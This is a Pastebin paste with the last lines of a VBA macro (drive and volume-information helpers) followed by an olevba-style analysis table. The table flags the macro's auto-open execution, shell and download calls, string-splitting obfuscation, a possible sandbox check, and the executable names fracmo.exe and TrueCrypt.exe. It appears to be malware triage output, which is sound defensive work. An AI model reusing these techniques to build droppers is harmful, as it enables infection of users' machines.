  743.  VerificaDiscoRimovibile = False
  744. End Function
  745. Private Function VBGetLogicalDriveStrings() As String
  746.  Dim r As Long
  747.  Dim tmp As String
  748.  tmp$ = Space$(64)
  749.  r& = GetLogicalDriveStrings(Len(tmp$), tmp$)
  750.  VBGetLogicalDriveStrings = Trim$(tmp$)
  751. End Function
  752. Private Function GetDriveInfo(ByVal DriveName As String, Optional VolumeName As String, _
  753.  Optional SerialNumber As Long, Optional FileSystem As String, _
  754.  Optional FileSystemFlags As Long) As Boolean
  755.  Dim ignore As Long
  756.  If InStr(DriveName, "\\") = 0 Then
  757.  DriveName = Left$(DriveName, 1) & ":\"
  758.  End If
  759.  SerialNumber = 0
  760.  FileSystemFlags = 0
  761.  VolumeName = String$(MAX_PATH, 0)
  762.  FileSystem = String$(MAX_PATH, 0)
  763.  GetDriveInfo = GetVolumeInformation(DriveName, VolumeName, Len(VolumeName), _
  764.  SerialNumber, ignore, FileSystemFlags, FileSystem, Len(FileSystem))
  765.  VolumeName = Left$(VolumeName, InStr(VolumeName, vbNullChar) - 1)
  766.  FileSystem = Left$(FileSystem, InStr(FileSystem, vbNullChar) - 1)
  767. End Function
  768.  
  769.  
  770.  
  771.  
  772.  
  773.  
  774.  
  775.  
  776. +------------+----------------------+-----------------------------------------+
  777. | Type       | Keyword              | Description                             |
  778. +------------+----------------------+-----------------------------------------+
  779. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  780. | Suspicious | Kill                 | May delete a file                       |
  781. | Suspicious | Open                 | May open a file                         |
  782. | Suspicious | Shell                | May run an executable file or a system  |
  783. |            |                      | command                                 |
  784. | Suspicious | vbHide               | May run an executable file or a system  |
  785. |            |                      | command                                 |
  786. | Suspicious | Windows              | May enumerate application windows (if   |
  787. |            |                      | combined with Shell.Application object) |
  788. | Suspicious | CreateObject         | May create an OLE object                |
  789. | Suspicious | GetVolumeInformation | May detect Anubis Sandbox               |
  790. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  791. |            |                      | strings                                 |
  792. | Suspicious | SaveToFile           | May create a text file                  |
  793. | Suspicious | Environ              | May read system environment variables   |
  794. | Suspicious | Write                | May write to a file (if combined with   |
  795. |            |                      | Open)                                   |
  796. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  797. |            |                      | command (obfuscation: VBA expression)   |
  798. | Suspicious | Shell.Application    | May run an application (if combined     |
  799. |            |                      | with CreateObject) (obfuscation: VBA    |
  800. |            |                      | expression)                             |
  801. | Suspicious | ADODB.Stream         | May create a text file (obfuscation:    |
  802. |            |                      | VBA expression)                         |
  803. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  804. |            |                      | (obfuscation: VBA expression)           |
  805. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  806. |            |                      | be used to obfuscate strings (option    |
  807. |            |                      | --decode to see all)                    |
  808. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  809. |            |                      | may be used to obfuscate strings        |
  810. |            |                      | (option --decode to see all)            |
  811. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  812. |            | Strings              | may be used to obfuscate strings        |
  813. |            |                      | (option --decode to see all)            |
  814. | IOC        | http://bytecomb.com  | URL                                     |
  815. |            | /regular-            |                                         |
  816. |            | expressions-in-vba/  |                                         |
  817. | IOC        | TrueCrypt.exe        | Executable file name                    |
  818. | IOC        | fracmo.exe           | Executable file name (obfuscation: VBA  |
  819. |            |                      | expression)                             |
  820. | Hex String | !GFrY                | 2147467259                              |
  821. | Base64     | ~+!                  | fish                                    |
  822. | String     |                      |                                         |
  823. | VBA string | Adodb.Stream         | ("Ad" + "odb" + "." + "St" + "ream")    |
  824. | VBA string | WScript.Shell        | ("W" + "Sc" + "ript" + "." + "Sh" +     |
  825. |            |                      | "ell")                                  |
  826. | VBA string | Process              | ("P" + "ro" + "c" + "e" + "ss")         |
  827. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  828. | VBA string | TEMP\                | ("" + "" + "T" + "E" + "MP") + "\"      |
  829. | VBA string | fracmo.exe           | "frac" + "mo" + ".ex" + "e"             |
  830. | VBA string | \TrueCrypt.exe /v    | "\TrueCrypt.exe" & " /v "               |
  831. | VBA string | Shell.Application    | ("Sh" + "ell" + "." + "Ap" + "pli" +    |
  832. |            |                      | "cat" + "ion")                          |
  833. | VBA string | Provider=Microsoft.J | "Provider=Microsoft.Jet.OLEDB.4.0;"  &  |
  834. |            | et.OLEDB.4.0;Data    | "Data Source="                          |
  835. |            | Source=              |                                         |
  836. | VBA string | ;Jet OLEDB:Engine    | ";"  & "Jet OLEDB:Engine Type = 5;Jet   |
  837. |            | Type = 5;Jet         | OLEDB:Database Password="               |
  838. |            | OLEDB:Database       |                                         |
  839. |            | Password=            |                                         |
  840. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!